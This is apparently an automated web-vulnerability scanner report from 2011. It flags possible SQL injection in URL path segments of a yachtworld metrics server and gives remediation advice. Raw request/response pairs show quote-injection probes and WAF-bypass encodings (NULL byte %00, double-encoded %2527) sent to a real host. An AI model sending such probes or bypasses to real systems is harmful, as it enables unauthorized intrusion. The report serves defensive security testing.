SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 5, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /b/ss/deyachtworld/1/H.17%00'/s41495727926958?AQB=1&ndh=1&t=27/0/2011%2013%3A20%3A25%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Boat_Details_US&g=http%3A//www.yachtworld.com/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States&cc=USD&ch=Boats&server=ywapp05&events=event11%2Cevent2&c1=Boat%20Details&h1=Boats%7CAdvanced%20Search&v3=Boat_Details_US&c22=2%3A15PM&c23=Thursday&c24=Weekday&c27=www.yachtworld.com&v28=www.yachtworld.com&c32=2266476&v32=2266476&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.4.10.1296155835; s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dno%2520search%2520phrase%2520entered%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296156025554%7C1298748025554%3B%20s_lv%3D1296156025556%7C1390764025556%3B%20s_lv_s%3DFirst%2520Visit%7C1296157825556%3B
Response 1
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:32:04 GMT Server: Omniture DC/2.0.0 Content-Length: 424 Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /b/ss/deyachtworld/1/H.17 was not found on this serve ...[SNIP]... <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> ...[SNIP]...
Request 2
GET /b/ss/deyachtworld/1/H.17%00''/s41495727926958?AQB=1&ndh=1&t=27/0/2011%2013%3A20%3A25%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Boat_Details_US&g=http%3A//www.yachtworld.com/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States&cc=USD&ch=Boats&server=ywapp05&events=event11%2Cevent2&c1=Boat%20Details&h1=Boats%7CAdvanced%20Search&v3=Boat_Details_US&c22=2%3A15PM&c23=Thursday&c24=Weekday&c27=www.yachtworld.com&v28=www.yachtworld.com&c32=2266476&v32=2266476&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.4.10.1296155835; s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dno%2520search%2520phrase%2520entered%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296156025554%7C1298748025554%3B%20s_lv%3D1296156025556%7C1390764025556%3B%20s_lv_s%3DFirst%2520Visit%7C1296157825556%3B
Response 2
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:32:04 GMT Server: Omniture DC/2.0.0 xserver: www653 Content-Length: 0 Content-Type: text/html
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /b/ss/deyachtworld%00'/1/H.17/s42079387209378?AQB=1&ndh=1&t=27/0/2011%2013%3A25%3A11%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/southpaw/&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&c23=Thursday&c24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/southpaw/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.7.10.1296155835; s_sess=%20s_sq%3D%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296156311019%7C1298748311019%3B%20s_lv%3D1296156311021%7C1390764311021%3B%20s_lv_s%3DFirst%2520Visit%7C1296158111021%3B
Response 1
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:31:16 GMT Server: Omniture DC/2.0.0 Content-Length: 417 Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /b/ss/deyachtworld was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> ...[SNIP]...
Request 2
GET /b/ss/deyachtworld%00''/1/H.17/s42079387209378?AQB=1&ndh=1&t=27/0/2011%2013%3A25%3A11%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/southpaw/&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&c23=Thursday&c24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/southpaw/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.7.10.1296155835; s_sess=%20s_sq%3D%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296156311019%7C1298748311019%3B%20s_lv%3D1296156311021%7C1390764311021%3B%20s_lv_s%3DFirst%2520Visit%7C1296158111021%3B
Response 2
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:31:17 GMT Server: Omniture DC/2.0.0 xserver: www260 Content-Length: 0 Content-Type: text/html
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /b%2527/ss/deyachtworld/1/H.17/s43482092181220?AQB=1&ndh=1&t=27/0/2011%2013%3A20%3A34%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Boat_Details_US&g=http%3A//www.yachtworld.com/boats/2006/Regulator-32-Forward-Seating-2262662/Somers-Point/NJ/United-States&cc=USD&ch=Boats&server=ywapp05&events=event11%2Cevent2&c1=Boat%20Details&h1=Boats%7CAdvanced%20Search&v3=Boat_Details_US&c22=2%3A15PM&c23=Thursday&c24=Weekday&c27=www.yachtworld.com&v28=www.yachtworld.com&c32=2262662&v32=2262662&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/boats/2006/Regulator-32-Forward-Seating-2262662/Somers-Point/NJ/United-States Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.4.10.1296155835; s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dno%2520search%2520phrase%2520entered%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296156034601%7C1298748034601%3B%20s_lv%3D1296156034602%7C1390764034602%3B%20s_lv_s%3DFirst%2520Visit%7C1296157834602%3B
Response 1
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:31:51 GMT Server: Omniture DC/2.0.0 Content-Length: 443 Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /b%27/ss/deyachtworld/1/H.17/s43482092181220 was not ...[SNIP]... <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> ...[SNIP]...
Request 2
GET /b%2527%2527/ss/deyachtworld/1/H.17/s43482092181220?AQB=1&ndh=1&t=27/0/2011%2013%3A20%3A34%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Boat_Details_US&g=http%3A//www.yachtworld.com/boats/2006/Regulator-32-Forward-Seating-2262662/Somers-Point/NJ/United-States&cc=USD&ch=Boats&server=ywapp05&events=event11%2Cevent2&c1=Boat%20Details&h1=Boats%7CAdvanced%20Search&v3=Boat_Details_US&c22=2%3A15PM&c23=Thursday&c24=Weekday&c27=www.yachtworld.com&v28=www.yachtworld.com&c32=2262662&v32=2262662&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/boats/2006/Regulator-32-Forward-Seating-2262662/Somers-Point/NJ/United-States Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.4.10.1296155835; s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dno%2520search%2520phrase%2520entered%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296156034601%7C1298748034601%3B%20s_lv%3D1296156034602%7C1390764034602%3B%20s_lv_s%3DFirst%2520Visit%7C1296157834602%3B
Response 2
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:31:51 GMT Server: Omniture DC/2.0.0 xserver: www614 Content-Length: 0 Content-Type: text/html
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /b'/ss/deyachtworld/1/H.17/s43772089285776?AQB=1&ndh=1&t=27/0/2011%2013%3A24%3A8%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=searchResults_US&g=http%3A//www.yachtworld.com/core/listing/cache/searchResults.jsp%3Fcit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dhomepage%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26cur&r=http%3A//www.yachtworld.com/core/listing/advancedSearch.jsp%3FNtk%3DboatsEN%26searchtype%3Dhomepage%26fromYear%3D2004%26sm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26toLength%3D32%26fromLength%3D24%26fromPrice%3D0%26man%3Dregulator%26slim%3Dquick%26is%3Dfalse%26pricderange%3DSelect%2BPrice%2BRange&cc=USD&ch=Search&server=ywapp04&events=event2%2Cevent1&c1=Search%20Results&h1=Boats%7CAdvanced%20Search&v3=searchResults_US&c4=no%20search%20phrase%20entered&v4=no%20search%20phrase%20entered&c5=regulator&v5=regulator&c6=used&v6=used&c7=no%20search%20phrase%20entered&v7=no%20search%20phrase%20entered&c8=24%27-32%27&v8=24%27-32%27&c9=%3E2004&v9=%3E2004&c10=no%20search%20phrase%20entered&v10=no%20search%20phrase%20entered&c11=no%20search%20phrase%20entered&v11=no%20search%20phrase%20entered&c12=no%20search%20phrase%20entered&v12=no%20search%20phrase%20entered&c13=no%20search%20phrase%20entered&v13=no%20search%20phrase%20entered&c14=no%20search%20phrase%20entered&v14=no%20search%20phrase%20entered&c15=no%20search%20phrase%20entered&v15=no%20search%20phrase%20entered&c16=no%20search%20phrase%20entered&v16=no%20search%20phrase%20entered&c17=united%20states&v17=united%20states&c18=no%20search%20phrase%20entered&v18=no%20search%20phrase%20entered&c19=74&c20=Homepage&c21=Default&c22=2%3A15PM&c23=Thursday&c24=Weekday&c27=www.yachtworld.com&v27=Homepage&v28=www.yachtworld.com&v31=Default&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pid=advancedSearch_US&pidt=1&oid=Search&oidt=3&ot=SUBMIT&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/searchResults.jsp?cit=true&slim=quick&ybw=&sm=3&searchtype=homepage&Ntk=boatsEN&Ntt=&is=false&man=regulator&hmid=0&ftid=0&enid=0&fromLength=24&toLength=32&luom=126&fromYear=2004&toYear=&fromPrice=0&toPrice=¤cyid=100&city=&rid=&cint=100&pbsint=&boatsAddedSelected=-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.4.10.1296155835; s_pers=%20s_nr%3D1296156248340%7C1298748248340%3B%20s_lv%3D1296156248342%7C1390764248342%3B%20s_lv_s%3DFirst%2520Visit%7C1296158048342%3B; s_sess=%20s_sq%3Ddeyachtworld%253D%252526pid%25253DadvancedSearch_US%252526pidt%25253D1%252526oid%25253DSearch%252526oidt%25253D3%252526ot%25253DSUBMIT%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B
Response 1
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:37:26 GMT Server: Omniture DC/2.0.0 Content-Length: 441 Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /b'/ss/deyachtworld/1/H.17/s43772089285776 was not fo ...[SNIP]... <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> ...[SNIP]...
Request 2
GET /b''/ss/deyachtworld/1/H.17/s43772089285776?AQB=1&ndh=1&t=27/0/2011%2013%3A24%3A8%204%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=searchResults_US&g=http%3A//www.yachtworld.com/core/listing/cache/searchResults.jsp%3Fcit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dhomepage%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26cur&r=http%3A//www.yachtworld.com/core/listing/advancedSearch.jsp%3FNtk%3DboatsEN%26searchtype%3Dhomepage%26fromYear%3D2004%26sm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26toLength%3D32%26fromLength%3D24%26fromPrice%3D0%26man%3Dregulator%26slim%3Dquick%26is%3Dfalse%26pricderange%3DSelect%2BPrice%2BRange&cc=USD&ch=Search&server=ywapp04&events=event2%2Cevent1&c1=Search%20Results&h1=Boats%7CAdvanced%20Search&v3=searchResults_US&c